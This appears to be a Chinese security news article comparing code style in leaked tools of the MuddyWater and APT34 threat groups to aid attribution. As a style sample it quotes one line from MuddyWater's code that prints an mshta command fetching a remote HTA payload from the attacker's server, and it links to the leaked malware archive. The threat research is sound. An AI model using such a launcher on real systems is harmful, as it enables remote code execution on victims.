ang010ela 新闻 2019年8月29日发布
收藏
许多具有政府背景的黑客组织随着时间的流逝逐渐显现,通过比较不同黑客组织泄露的工具和代码,找出代码风格的异同有助于发现黑客组织背后的资助国家。
本文介绍研究人员对比APT34样本与MuddyWater组织恶意软件样本的分析。
研究人员发现MuddyWater泄露的工具主要是用python语言编写的,主要实现自动化感染链。
MuddyWater攻击的目标主要是针对中东国家,也有包括印度和美国在内的国家。MuddyWater的攻击一般会使用基于PowerShell的第一阶段后门——POWERSTATS。
研究人员通过分析恶意软件开发者的代码风格来分析MuddyWater与APT34组织的异同。分析的样本源是最新泄露的MuddyC3和WebMask。
MuddyC3:https://github.com/blackorbird/APT_REPORT/blob/master/muddywater/muddyc3.zip
WebMask:https://marcoramilli.com/2019/04/23/apt34-webmask-project/
研究人员首先发现printing函数有所不同。MuddyWater的printing函数更加精致,运行正确时加入了符号[+],当出现错误或其他意外条件时加入符号[-]。此外,MuddyWater还用colors.py函数实现了彩色输出。这在APT 34中都没有出现。
MuddyWater的Color.py
但这两个组织都在打印字符串时都使用了单引号’’,并使用操作符+而不是%s作为字符串连接符号。MuddyWater在复杂的字符串替换中在每个字符串的开始和结尾都使用\n,在APT34的工具中却不常见,比如:
print "\nmshta http://%s:%s/hta\n"%(config.IP,config.PORT)(MuddyWater风格)
APT34中将print作为调试器,有许多注释的打印语句,比如:#print 'something'
这在MuddyWater中也很少见。所以综上可以得出二者的print风格是不同的。
Payload使用多行字符串来传播payload。但代码风格明显不同,比如APT34使用真实的多行,而MuddyWater使用的多行auto-escape indirect特性。下图解释了滥用auto-escape indirect特性:
MuddyWater多行字符串
APT34多行字符串
MuddyWater用行内多字符串的形式来传播payload,以避免特殊字符逃逸,APT 34使用
相同的技术但扩展了payload以增加可读性。这两个组织都使用操作符=+来连接,都使用' '.join( 来构建来自空字符串的对象。在MuddyWater包的core/webserver.py 中,开发者使用的是' '.join( ,而在core/resa.py中,开发者使用了'.join( 和 " ".join( 。研究人员猜测可能有两个开发者参与了其开发??
代码函数和循环
这两个组织使用明确和相同的函数命名法。APT34和MuddyWater的开发者都选择了lowercase_with_underscore命名模式。这两个组织都使用了for i in range而没有使用lists或 While loop。MuddyWater最著名的就说混淆powershell payload,他们会replace函数值来替换混淆的字符,而APT34使用了完全不同的技术。下图是一个伪造的内部函数replaceAll,用来替换字符串以用作反混淆。
APT34替换函数
总结
下表总结了研究人员分析过程中发现的MuddyWater和APT34代码风格的异同。其中-表示不同,+表示相似。通过分析,研究人员认为这两个组织代码风格有一点相似。
因为前3个不同点都是关于printing的,因此如果将前3个不同看作是1个的话,那么一共有3个不同点和5个相同点。